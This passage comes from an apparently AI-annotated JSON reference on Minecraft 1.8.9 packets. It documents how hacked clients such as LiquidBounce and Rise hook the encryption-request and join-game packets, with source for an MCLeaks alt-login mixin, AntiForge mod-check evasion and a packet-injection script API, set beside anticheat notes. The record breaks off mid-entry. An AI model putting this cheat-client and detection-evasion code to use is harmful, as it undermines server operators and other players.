      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerLoginClient.java",
      "vanilla_hook": "@Inject on NetHandlerLoginClient.handleEncryptionRequest; networkManager.closeChannel for failures.",
      "anti_cheat_notes": "Server-side this looks like a normal online-mode login because the S01/C01 exchange still happens; only the auth backend differs. Cracked servers never see it because they skip encryption entirely.",
      "variations": "Part of the MCLeaks (mcleaks.net) integration; the sendEncryption step is factored into ClientUtils."
     },
     {
      "name": "ClientUtils (sendEncryption helper)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Send the C01PacketEncryptionResponse and enable AES stream encryption after the S01 challenge is handled.",
      "how_it_works": "sendEncryption(networkManager, secretKey, publicKey, encryptionRequest) builds C01PacketEncryptionResponse(secretKey, publicKey, encryptionRequest.getVerifyToken()) and sends it with a GenericFutureListener that calls networkManager.enableEncryption(secretKey) on completion, mirroring the vanilla handler's flow.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/utils/ClientUtils.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.utils;\n\nimport com.google.gson.JsonObject;\nimport net.minecraft.client.settings.GameSettings;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.login.client.C01PacketEncryptionResponse;\nimport net.minecraft.network.login.server.S01PacketEncryptionRequest;\nimport net.minecraft.util.IChatComponent;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport javax.crypto.SecretKey;\nimport java.lang.reflect.Field;\nimport java.security.PublicKey;\n\n@SideOnly(Side.CLIENT)\npublic final class ClientUtils extends MinecraftInstance {\n\n    private static final Logger logger = LogManager.getLogger(\"LiquidBounce\");\n\n    private static Field fastRenderField;\n\n    static {\n        try {\n            fastRenderField = GameSettings.class.getDeclaredField(\"ofFastRender\");\n\n            if(!fastRenderField.isAccessible())\n                fastRenderField.setAccessible(true);\n        }catch(final NoSuchFieldException ignored) {\n        }\n    }\n\n    public static Logger getLogger() {\n        return logger;\n    }\n\n    public static void disableFastRender() {\n        try {\n            if(fastRenderField != null) {\n                if(!fastRenderField.isAccessible())\n                    fastRenderField.setAccessible(true);\n\n                fastRenderField.setBoolean(mc.gameSettings, false);\n            }\n        }catch(final IllegalAccessException ignored) {\n        }\n    }\n\n    public static void sendEncryption(final NetworkManager networkManager, final SecretKey secretKey, final PublicKey publicKey, final S01PacketEncryptionRequest encryptionRequest) {\n        networkManager.sendPacket(new C01PacketEncryptionResponse(secretKey, publicKey, encryptionRequest.getVerifyToken()), p_operationComplete_1_ -> networkManager.enableEncryption(secretKey));\n    }\n\n    public static void displayChatMessage(final String message) {\n        if (mc.thePlayer == null) {\n            getLogger().info(\"(MCChat)\" + message);\n            return;\n        }\n\n        final JsonObject jsonObject = new JsonObject();\n        jsonObject.addProperty(\"text\", message);\n\n        mc.thePlayer.addChatMessage(IChatComponent.Serializer.jsonToComponent(jsonObject.toString()));\n    }\n}\n// NOTE (AI): sendEncryption mirrors the vanilla enableEncryption-on-flush listener; the mixin path reuses it so the MCLeaks flow and any future callers share one continuation.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/utils/ClientUtils.java",
      "vanilla_hook": "Called from MixinNetHandlerLoginClient; networkManager.sendPacket plus GenericFutureListener.",
      "anti_cheat_notes": "None; this is the vanilla-compatible encryption continuation. It exists so the mixin path and any future callers share one code path.",
      "variations": "ClientUtils also hosts the logger, fast-render toggle and chat helpers used across LiquidBounce."
     }
    ],
    "client_variations": "The original 8 clients ship the stock 1.8.9 NetHandlerLoginClient unchanged, and so does November Recode 2.0 per its corpus. LiquidSense Dev replaces the join flow only for MCLeaks alt sessions, keeping the vanilla path for real accounts. Rise 6.x renames the fields (verifyToken instead of field_147330_e) but the behavior is identical: same shared-secret generation, same joinServer call, same enableEncryption-on-flush listener.",
    "related": [
     "C00PacketLoginStart",
     "C01PacketEncryptionResponse",
     "S02PacketLoginSuccess",
     "S03PacketEnableCompression"
    ],
    "anticheat": {
     "overview": "The login encryption challenge is the least instrumented packet in this set: exactly one anticheat references it, and only as packet-library plumbing. Artemis maps SERVER_LOGIN + 2 to PacketLoginOutEncryptionBegin so login-state traffic is typed; no anticheat validates the RSA handshake, because the exchange is identical for every legitimate client and predates world state.",
     "checks": [
      {
       "name": "Login packet registration (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Registers the encryption-request packet in Artemis's packet repository so the login-state stream is typed and readable.",
       "how_it_works": "PacketRepository puts SERVER_LOGIN + 2 at PacketLoginOutEncryptionBegin.class and the PacketLoginOutEncryptionBegin interface extends PacketServer. The interface is the full extent of Artemis's interest: no wrapper class and no check subscribes to the packet.",
       "detects": "None. This is registry plumbing for a packet that arrives before any check-relevant state exists.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.api/src/main/java/ac/artemis/packet/wrapper/server/PacketLoginOutEncryptionBegin.java =====\npackage ac.artemis.packet.wrapper.server;\n\nimport ac.artemis.packet.wrapper.PacketServer;\n\npublic interface PacketLoginOutEncryptionBegin extends PacketServer {\n}\n\n// NOTE (AI): This 5-line interface is the only corpus artifact for the encryption request. The repository mapping lives in PacketRepository.java at SERVER_LOGIN + 2.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.api/src/main/java/ac/artemis/packet/wrapper/server/PacketLoginOutEncryptionBegin.java",
       "variations": "The other 49 anticheats in the corpus never reference the packet by name or by PacketLoginOutEncryptionBegin. Login-state traffic is outside every check domain."
      }
     ]
    }
   },
   "wiki_notes": [
    "LOGIN id 0x01: String serverId (empty in 1.8.9), VarInt length plus DER RSA public key, then 4-byte verify token challenge.",
    "Client answers with C01 carrying AES secret plus token encrypted under server key, then enables AES/CFB8 stream on flush.",
    "MCP 1.8.9 S01PacketEncryptionRequest implements Packet<INetHandlerLoginClient> dispatching to INetHandlerLoginClient.handleEncryptionRequest; wire serde is readPacketData/writePacketData via readByteArray, readStringFromBuffer.",
    "1.8.9 callers: NetHandlerLoginServer.processLoginStart sends new S01PacketEncryptionRequest (line 164): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/network/NetHandlerLoginServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S01PacketEncryptionRequest/",
   "mcp_path": "net/minecraft/network/login/server/S01PacketEncryptionRequest.java",
   "group": "login-client",
   "logic_classes": [
    "NetHandlerLoginServer"
   ]
  },
  {
   "id": "S01PacketJoinGame",
   "hex": "0x01",
   "dec": 1,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Join Game",
   "desc": "Welcomes the player into the world. Sends entity ID, gamemode, dimension, difficulty, max players, world type, and reduced debug info.",
   "tags": [
    "player",
    "world",
    "spawn"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "int",
     "desc": "The player's own entity ID"
    },
    {
     "name": "gamemode",
     "type": "unsigned byte",
     "desc": "0=survival, 1=creative, 2=adventure, 3=spectator"
    },
    {
     "name": "dimension",
     "type": "byte",
     "desc": "-1=nether, 0=overworld, 1=end"
    },
    {
     "name": "difficulty",
     "type": "unsigned byte",
     "desc": "Server difficulty (0-3)"
    },
    {
     "name": "maxPlayers",
     "type": "unsigned byte",
     "desc": "Max players (used to draw tab player list)"
    },
    {
     "name": "worldType",
     "type": "String",
     "desc": "'default', 'flat', 'largeBiomes', 'amplified', 'customized'"
    },
    {
     "name": "reducedDebugInfo",
     "type": "boolean",
     "desc": "Whether to hide coordinates in F3 debug screen"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "int",
     "Player's own entity ID on the server"
    ],
    [
     "Gamemode",
     "unsigned byte",
     "0=survival, 1=creative, 2=adventure, 3=spectator"
    ],
    [
     "Dimension",
     "byte",
     "-1=nether, 0=overworld, 1=end"
    ],
    [
     "Difficulty",
     "unsigned byte",
     "0=peaceful, 1=easy, 2=normal, 3=hard"
    ],
    [
     "Max Players",
     "unsigned byte",
     "Used for tab list rendering"
    ],
    [
     "Level Type",
     "String",
     "'default', 'flat', 'largeBiomes', 'amplified', 'customized'"
    ],
    [
     "Reduced Debug Info",
     "boolean",
     "If true, hides coords from F3"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleJoinGame()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "This is the VERY FIRST PLAY-state packet the client receives after login. It creates the WorldClient and EntityPlayerSP. All modules that depend on mc.theWorld or mc.thePlayer being non-null must wait for this packet. It's the universal 'onWorldLoad' trigger.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The first PLAY-state packet and the world-join trigger. ServerConfigurationManager sends it as the final step of player placement: `new S01PacketJoinGame(entityId, gameType, hardcore, dimension, difficulty, maxPlayers, worldType, reducedDebugInfo)`. The client handler is where the world is born: NetHandlerPlayClient.handleJoinGame creates the PlayerControllerMP and WorldClient from the packet's world type and dimension, calls loadWorld, sets the player's entity id and dimension, shows GuiDownloadTerrain, and replies with the MC|Brand custom payload. Everything that needs mc.theWorld or mc.thePlayer non-null waits on this packet."
     },
     {
      "h": "Vanilla handling",
      "p": "handleJoinGame first runs PacketThreadUtil.checkThreadAndEnqueue, which in the Rise 6.x and Tenacity trees special-cases S01PacketJoinGame in clientPreProcessPacket so the world creation is guaranteed on the main thread. Then: `this.gameController.playerController = new PlayerControllerMP(...)`, `this.clientWorldController = new WorldClient(this, new WorldSettings(...), ...)`, `loadWorld`, dimension and entity id assignment, currentServerMaxPlayers, reduced-debug flag, game type set, settings re-sent, and the C17PacketCustomPayload MC|Brand reply. After that the server streams chunks and the respawn/spawn chain."
     },
     {
      "h": "Why clients touch it",
      "p": "Three non-vanilla references exist in the corpus. NetworkAPI (script api) lists S01PacketJoinGame.class at index 1 of its clientbound packet table, so JavaScript scripts can construct and inject it and can key script logic off world join. VulcanSpeed (movement/speed) imports the class but never uses it: the reference is a dead import. LiquidSense Dev's MixinNetHandlerPlayClient injects at handleJoinGame HEAD, cancellable, and re-runs the whole world-creation sequence itself when AntiForge blockFML is enabled, so the stock (Forge-aware) handler never executes. The clients that need join-time resets (Rise 5.99's WorldChangedEvent, Sigma's event system) fire their own world-change events from elsewhere rather than hooking this packet."
     },
     {
      "h": "Exploit surface",
      "p": "S01PacketJoinGame carries no movement data, so anti-cheats ignore it; its value is state. A module that misorders its join handling can inherit stale state: old entity id, wrong dimension, or a game type that contradicts the client's PlayerControllerMP. The vanilla handler is also the moment the client reveals its brand via MC|Brand, which server plugins use for client detection. Script-injected S01 packets (NetworkAPI receivePacket) let a script replay a join outside the normal flow, which desynchronizes client and server state; none of the 8 clients ships a module that does this."
     }
    ],
    "overview": "The world-join packet: vanilla handleJoinGame constructs the entire client world from its fields. Module interest is minimal in the corpus: Rise 6.x exposes it to scripts via NetworkAPI, one Rise 6.2.4 speed mode carries a dead import, and LiquidSense Dev re-implements the handler in a cancellable mixin for AntiForge blockFML. World-change events in the other clients fire from their own infrastructure.",
    "server_handling": "ServerConfigurationManager.initializeConnectionToPlayer builds the S01 payload from the player's game type, hardcore flag, the world provider's dimension id, difficulty, server max players, terrain type, and the reducedDebugInfo gamerule, then sends it as the first packet of the PLAY stream. The server then follows with S41PacketServerDifficulty, spawn position, and the chunk bulk. The client's MC|Brand reply arrives as C17PacketCustomPayload and is how vanilla records the client mod name.",
    "protocol_notes": "Wire layout: int entityId, unsigned byte gamemode, byte dimension (signed: -1 nether, 0 overworld, 1 end), unsigned byte difficulty, unsigned byte maxPlayers, String worldType, boolean reducedDebugInfo. Ordering constraint: S01 is the very first PLAY-state packet; the client transitions the connection into PLAY on login success and expects S01 before any world-bearing packet. Re-sent on dimension change only via the respawn path, never as a plain re-join.",
    "anticheat_landscape": "No anti-cheat measures this packet; it precedes position tracking. The security-relevant detail is the MC|Brand exchange immediately after it: brand-based client detection is a server plugin reading the C17 reply, and clients that want to hide their brand forge that packet, not this one. State-reset discipline after S01 matters for movement modules (fresh timer baselines), which is the reason Rise 6.x scripts hook it.",
    "modules": [
     {
      "name": "NetworkAPI (script api)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose S01PacketJoinGame to JavaScript scripts: scripts can detect world join and inject or read the packet through the Network API object.",
      "how_it_works": "NetworkAPI keeps two Class arrays indexed by packet id (serverbound and clientbound). S01PacketJoinGame sits at clientbound index 1. instantiatePacket picks the constructor matching the argument count and either sends the packet through addToSendQueue or injects it into the receive queue via addToReceiveQueue; scripts call Network.receivePacket(1, params) to synthesize a join packet client-side.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound Class array is indexed by packet id, so S01PacketJoinGame sits at index 1 and scripts can construct or inject it via Network.receivePacket(1, params).\n// NOTE (AI): This is the only functional (non-import) module reference to S01PacketJoinGame in the 8-client corpus. The same API file also lists S02PacketChat at index 2, which is why it appears in both corpora.\n// NOTE (AI): instantiatePacket resolves the constructor by parameter count and reflects a new instance; failures surface as a ScriptException after a ChatUtil.display error line, keeping script errors off the critical path.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "No event hook; a direct script API. Scripts register packet listeners through the same Network object and receive S01PacketJoinGame instances as typed objects.",
      "anti_cheat_notes": "Read-side use is invisible to the server. Injecting a synthetic S01 via receivePacket desynchronizes client world state from the server and would cascade into movement flags, but no shipped script does this.",
      "variations": "Rise 6.1.30 ships the identical file at com/alan/clients/script/api/NetworkAPI.java; the clientbound table (and S01's index 1) matches 6.2.4 exactly."
     },
     {
      "name": "VulcanSpeed",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "A Vulcan-server speed mode; its only link to this packet is an unused import.",
      "how_it_works": "The corpus hit is line 28, `import net.minecraft.network.play.server.S01PacketJoinGame;`, and a grep of the whole file confirms no other occurrence: the import is dead. The mode itself implements a Vulcan bypass via block-placement tricks (C08PacketPlayerBlockPlacement against BlockAir checks) and never reads join state.",
      "detailed_code": null,
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/speed/VulcanSpeed.java",
      "vanilla_hook": "None. The reference is an import only; the mode runs on motion events.",
      "anti_cheat_notes": "The dead import has no detection relevance. It suggests the author once planned a join-triggered state reset (common for speed modes that must survive world changes) and dropped it.",
      "variations": "No other client references S01PacketJoinGame from a module; all remaining corpus hits are vanilla."
     },
     {
      "name": "MixinNetHandlerPlayClient (AntiForge)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Re-implement NetHandlerPlayClient.handleJoinGame at the mixin level so LiquidBounce joins without the stock handler, backing the AntiForge blockFML mode.",
      "how_it_works": "handleJoinGameWithAntiForge injects at handleJoinGame HEAD, cancellable. When AntiForge.enabled and blockFML are on (and the world is not singleplayer) it runs the entire vanilla world-creation sequence itself: new PlayerControllerMP, new WorldClient from packetIn's dimension/difficulty/world type, loadWorld, entity id and dimension assignment, max players, reduced-debug flag, game type, settings re-sent, then the MC|Brand C17PacketCustomPayload reply, and cancels the vanilla method so the default handler never runs.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EntityMovementEvent;\nimport net.ccbluex.liquidbounce.event.PacketSenEvent;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.special.AntiForge;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.minecraft.client.ClientBrandRetriever;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.multiplayer.WorldClient;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.network.*;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S01PacketJoinGame;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\nimport net.minecraft.world.WorldSettings;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\n@Mixin(NetHandlerPlayClient.class)\npublic abstract class MixinNetHandlerPlayClient {\n\n    @Shadow\n    @Final\n    private NetworkManager netManager;\n\n    @Shadow\n    private Minecraft gameController;\n\n    @Shadow\n    private WorldClient clientWorldController;\n\n    @Shadow\n    public int currentServerMaxPlayers;\n\n    @Inject(method = \"handleResourcePack\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleResourcePack(final S48PacketResourcePackSend p_handleResourcePack_1_, final CallbackInfo callbackInfo) {\n        final String url = p_handleResourcePack_1_.getURL();\n        final String hash = p_handleResourcePack_1_.getHash();\n\n        try {\n            final String scheme = new URI(url).getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if(!\"http\".equals(scheme) && !\"https\".equals(scheme) && !isLevelProtocol)\n                throw new URISyntaxException(url, \"Wrong protocol\");\n\n            if(isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\")))\n                throw new URISyntaxException(url, \"Invalid levelstorage resourcepack path\");\n        }catch(final URISyntaxException e) {\n            ClientUtils.getLogger().error(\"Failed to handle resource pack\", e);\n            netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            callbackInfo.cancel();\n        }\n    }\n\n    @Inject(method = \"handleJoinGame\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleJoinGameWithAntiForge(S01PacketJoinGame packetIn, final CallbackInfo callbackInfo) {\n        if(!AntiForge.enabled || !AntiForge.blockFML || Minecraft.getMinecraft().isIntegratedServerRunning())\n            return;\n\n        PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, gameController);\n        this.gameController.playerController = new PlayerControllerMP(gameController, (NetHandlerPlayClient) (Object) this);\n        this.clientWorldController = new WorldClient((NetHandlerPlayClient) (Object) this, new WorldSettings(0L, packetIn.getGameType(), false, packetIn.isHardcoreMode(), packetIn.getWorldType()), packetIn.getDimension(), packetIn.getDifficulty(), this.gameController.mcProfiler);\n        this.gameController.gameSettings.difficulty = packetIn.getDifficulty();\n        this.gameController.loadWorld(this.clientWorldController);\n        this.gameController.thePlayer.dimension = packetIn.getDimension();\n        this.gameController.displayGuiScreen(new GuiDownloadTerrain((NetHandlerPlayClient) (Object) this));\n        this.gameController.thePlayer.setEntityId(packetIn.getEntityId());\n        this.currentServerMaxPlayers = packetIn.getMaxPlayers();\n        this.gameController.thePlayer.setReducedDebug(packetIn.isReducedDebugInfo());\n        this.gameController.playerController.setGameType(packetIn.getGameType());\n        this.gameController.gameSettings.sendSettingsToServer();\n        this.netManager.sendPacket(new C17PacketCustomPayload(\"MC|Brand\", (new PacketBuffer(Unpooled.buffer())).writeString(ClientBrandRetriever.getClientModName())));\n        callbackInfo.cancel();\n    }\n\n    @Inject(method = \"handleEntityMovement\", at = @At(value = \"FIELD\", target = \"Lnet/minecraft/entity/Entity;onGround:Z\"))\n    private void handleEntityMovementEvent(S14PacketEntity packetIn, final CallbackInfo callbackInfo) {\n        final Entity entity = packetIn.getEntity(this.clientWorldController);\n\n        if(entity != null)\n            LiquidBounce.eventManager.callEvent(new EntityMovementEvent(entity));\n    }\n\n    @Inject(method = \"addToSendQueue\", at = @At(\"HEAD\"), cancellable = true)\n    private void senpacket(Packet<?> packet, final CallbackInfo callbackInfo) {\n        final PacketSenEvent event = new PacketSenEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n        if (event.isCancelled()) {\n            callbackInfo.cancel();\n        }\n    }\n    @Overwrite\n    public void handleConfirmTransaction(S32PacketConfirmTransaction packetIn) {\n        PacketThreadUtil.checkThreadAndEnqueue((Packet)packetIn, (INetHandler)this, this.gameController);\n        Container container = null;\n        EntityPlayerSP entityplayer = Minecraft.getMinecraft().thePlayer;\n        if (packetIn.getWindowId() == 0) {\n            container = entityplayer.inventoryContainer;\n        } else if (packetIn.getWindowId() == entityplayer.openContainer.windowId) {\n            container = entityplayer.openContainer;\n        }\n        if (container != null && !packetIn.func_148888_e()) {\n            Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), true));\n        }\n    }\n}\n\n\n// NOTE (AI): The mixin duplicates vanilla handleJoinGame field-for-field and cancels the original, which is how LiquidBounce joins Forge servers with blockFML without tripping the FML handshake. The same file carries the client's generic packet pipeline (PacketSenEvent on addToSendQueue, PacketEvent on channelRead0) and an @Overwrite of handleConfirmTransaction that acks window-0 and open-container transactions directly.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java",
      "vanilla_hook": "@Inject on NetHandlerPlayClient.handleJoinGame (HEAD, cancellable); the same mixin also overwrites handleConfirmTransaction and injects addToSendQueue and entity-movement events.",
      "anti_cheat_notes": "No anti-cheat surface: S01 precedes position tracking. The detection-relevant detail is the MC|Brand payload the mixin sends with the client's mod name, which server plugins read for client identification; blockFML targets Forge mod checks, not anti-cheats.",
      "variations": "Rise 6.x reaches S01 only through its script API (NetworkAPI clientbound table index 1) plus a dead VulcanSpeed import; Memeware, Nekoware, Rise 5.99, Sigma 4.11, Spicy, Tenacity 6.0 and November Recode 2.0 have no module-level join-game hook."
     }
    ],
    "general_hooks": "Rise 6.x scripts access the packet through the NetworkAPI object; LiquidSense Dev replaces the vanilla handler with a cancellable @Inject mixin (AntiForge blockFML); the other 7 clients have no module-level hook for this packet and rely on their own world-change events.",
    "client_variations": "Rise 6.1.30 and 6.2.4 both ship NetworkAPI and the vanilla handler with PacketThreadUtil special-casing S01PacketJoinGame; Tenacity 6.0 also carries the PacketThreadUtil special case; Memeware, Nekoware, Sigma, Spicy use the stock handler without module involvement. LiquidSense Dev is the only client that intercepts handleJoinGame itself, cancelling the vanilla handler in favor of its own world-creation sequence.",
    "related": [
     "S02PacketLoginSuccess",
     "S03PacketTimeUpdate",
     "S41PacketServerDifficulty",
     "C17PacketCustomPayload"
    ],
    "anticheat": {
     "overview": "Server-side anticheats treat the join-game packet as the state anchor of a play session. It carries no movement or combat data, so no check flags it; instead the packet re-reads the player model (entity id, gamemode, dimension, world name) in modern simulation anticheats, while classic anticheats watch the login events that surround the join. The security-relevant detail is what the packet resets: any anticheat that keeps per-player state must re-arm it here or every later check inherits stale data.",
     "checks": [
      {
       "name": "Join-game state reset (Grim)",
       "found_in": [
